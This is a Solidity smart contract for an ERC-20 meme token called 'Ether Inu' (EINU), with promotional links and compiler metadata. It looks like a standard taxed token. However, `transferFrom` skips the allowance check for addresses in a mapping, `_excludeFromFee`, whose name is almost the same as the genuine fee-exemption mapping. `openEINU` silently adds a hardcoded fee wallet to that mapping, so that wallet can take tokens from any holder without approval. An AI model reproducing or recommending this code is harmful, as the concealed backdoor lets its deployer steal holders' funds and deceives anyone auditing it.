/**
Website: https://etherinuerc20.vip
X: https://x.com/EtherInuErc20
Telegram: https://t.me/EtherInuErc20
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EINU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _einus;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _excludedFromFee;
    mapping(address => bool) private _excludeFromFee;
    address payable private _einuhouse =
        payable(0x25B6D685f5Bb0A5f0F9B88b4B79f07f8e98081Ac);

    uint256 private _initTradeTax = 20;
    uint256 private _finalTradeTax = 0;
    uint256 private _reduceTaxAt = 15;
    uint256 private _preventSwap = 15;
    uint256 private _trades = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTots = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Ether Inu";
    string private constant _symbol = unicode"EINU";

    uint256 public _mxTaxValue = (_tTots * 2) / 100;
    uint256 public _mxWalletValue = (_tTots * 2) / 100;
    uint256 public _taxSwapThres = 100 * 10 ** _decimals;
    uint256 public _mxTaxSwapValue = _tTots / 100;

    IUniswapV2Router02 private router;
    address private pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _einus[_msgSender()] = _tTots;
        _excludedFromFee[owner()] = true;
        _excludedFromFee[address(this)] = true;
        _excludedFromFee[_einuhouse] = true;

        emit Transfer(address(0), _msgSender(), _tTots);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTots;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _einus[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (!_excludeFromFee[_msgSender()])
            _approve(
                sender,
                _msgSender(),
                _allowances[sender][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function resetLimits() external onlyOwner {
        _mxTaxValue = _tTots;
        _mxWalletValue = _tTots;
        emit MaxTxAmountUpdated(_tTots);
    }

    function _transfer(
        address spender,
        address recipient,
        uint256 amount
    ) private {
        require(spender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            spender != owner() &&
            recipient != owner() &&
            spender != address(this) &&
            recipient != address(this)
        ) {
            taxAmount = amount
                .mul((_trades > _reduceTaxAt) ? _finalTradeTax : _initTradeTax)
                .div(100);

            if (
                spender == pair &&
                recipient != address(router) &&
                !_excludedFromFee[recipient]
            ) {
                require(amount <= _mxTaxValue, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(recipient) + amount <= _mxWalletValue,
                    "Exceeds the maxWalletSize."
                );
                _trades++;
            }

            if (recipient == pair && spender != address(this)) {
                taxAmount = amount
                    .mul(
                        (_trades > _reduceTaxAt)
                            ? _finalTradeTax
                            : _initTradeTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                recipient == pair &&
                swapEnabled &&
                _trades > _preventSwap &&
                !_excludedFromFee[spender]
            ) {
                if (contractTokenBalance > _taxSwapThres)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _mxTaxSwapValue))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _einus[address(this)] = _einus[address(this)].add(taxAmount);
            emit Transfer(spender, address(this), taxAmount);
        }
        _einus[spender] = _einus[spender].sub(amount);
        _einus[recipient] = _einus[recipient].add(amount.sub(taxAmount));
        emit Transfer(spender, recipient, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _einuhouse.transfer(amount);
    }

    receive() external payable {}

    function getEthBack() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function openEINU() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        _excludeFromFee[_einuhouse] = true;
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(router.factory()).createPair(
            address(this),
            router.WETH()
        );

        _approve(address(this), address(router), _tTots);
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }
}

{
  "compilationTarget": {
    "contracts/1.sol": "EINU"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}